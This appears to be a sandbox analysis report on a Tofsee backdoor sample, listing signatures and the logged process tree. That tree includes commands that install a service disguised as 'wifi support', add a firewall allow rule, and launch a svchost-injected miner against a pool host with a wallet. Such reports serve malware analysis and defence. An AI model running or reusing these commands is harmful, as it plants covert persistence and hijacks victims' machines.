Overview

overview

10

Static

static

d258c27fa0...fb.exe

windows7_x64

10

d258c27fa0...fb.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    12/11/2020, 14:21

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General

  • Target
    d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe
  • Size 10.3MB
  • Sample201112-ngq2jym16e
  • SHA256 d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe
    "C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rfuriuqj\
      2⤵
        PID:1740
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\boaxqdis.exe" C:\Windows\SysWOW64\rfuriuqj\
        2⤵
          PID:744
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rfuriuqj binPath= "C:\Windows\SysWOW64\rfuriuqj\boaxqdis.exe /d\"C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1088
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rfuriuqj "wifi internet conection"
            2⤵
              PID:1400
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rfuriuqj
              2⤵
                PID:1152
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1572
            • C:\Windows\SysWOW64\rfuriuqj\boaxqdis.exe
              C:\Windows\SysWOW64\rfuriuqj\boaxqdis.exe /d"C:\Users\Admin\AppData\Local\Temp\d258c27fa03a9cfe58f8a12eb0aad68ec6eb35c3abc4f31ef149975b698f4efb.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:908
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:512
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:784

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/512-19-0x0000000000210000-0x0000000000215000-memory.dmp
                  Download

                  memory/512-21-0x0000000000220000-0x0000000000227000-memory.dmp
                  Download

                  memory/512-20-0x0000000005940000-0x0000000005D4B000-memory.dmp
                  Download

                  memory/512-16-0x0000000001DA0000-0x0000000001FAF000-memory.dmp
                  Download

                  memory/512-18-0x0000000000180000-0x0000000000190000-memory.dmp
                  Download

                  memory/512-17-0x00000000000A0000-0x00000000000A6000-memory.dmp
                  Download

                  memory/512-13-0x0000000000080000-0x0000000000095000-memory.dmp
                  Download

                  memory/784-22-0x0000000000110000-0x0000000000201000-memory.dmp
                  Download

                  memory/784-23-0x0000000000110000-0x0000000000201000-memory.dmp
                  Download

                  memory/908-11-0x0000000000CBB000-0x0000000000CBC000-memory.dmp
                  Download

                  memory/908-12-0x0000000001210000-0x0000000001221000-memory.dmp
                  Download

                  memory/1924-0-0x00000000002EB000-0x00000000002EC000-memory.dmp
                  Download

                  memory/1924-1-0x0000000002580000-0x0000000002591000-memory.dmp
                  Download